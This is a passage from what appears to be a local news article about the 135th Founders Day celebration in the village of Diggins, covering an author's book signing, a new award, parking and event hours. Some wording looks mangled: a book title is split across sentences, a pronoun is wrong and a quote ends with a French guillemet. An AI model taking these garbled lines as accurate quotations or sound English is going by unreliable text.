Webster County Clerk Stan Whitehurst will be there to talk with people about the upcoming US 60 expansion, which includes a new overpass at the Highway A intersection at the west end of the village. .
"It's going to have a big effect on our community, so a lot of people are wondering about it." Bowers noted.
He added that author Gary Sosniecki, who with his wife, Helen, owned and operated the Webster County Citizen from 1988 to 1999, will be at the celebration, selling signed copies of his book, "The Potato Masher Murder: Death At The Hands Of". A jealous husband.
It's the only literary event Sosniecki, a former Diggins resident, has scheduled this year.
Bowers continued, "We will also be presenting the first annual Founders Day Award for Innovation, Design and Compassion in the Village of Diggins to its recipient in the morning at the grand opening of the footbridge.
He expects around 200 attendees at the event.
"We had 700 people who attended the centennial in 1987, and about 150 came to the 125th celebration," Bowers said.
"So we expect him to be in the middle or thereabouts."
Event parking is available at Zion Lutheran Church, as well as at the Curtis property.
"We will have signs clearly indicating parking areas," he said. "And for the disabled or elderly, you can park right there at the Diggins Community Building so you don't have to walk that far."
For the past 135 years, the village of Diggins has been home to a close-knit community.
"It really is a family reunion," Bowers concluded.
"This is a reunion for everyone who has lived, worked, played, raised their children here and all of our friends. We all have a connection to this place. We want everyone to come and share their experiences and stories from the community. The Founders Day celebration exists to keep that going. It must be continued. »
The official event hours will be 9:30 a.m. to 3:30 p.m. on Saturday, July 9 at Founders' Park in Diggins.


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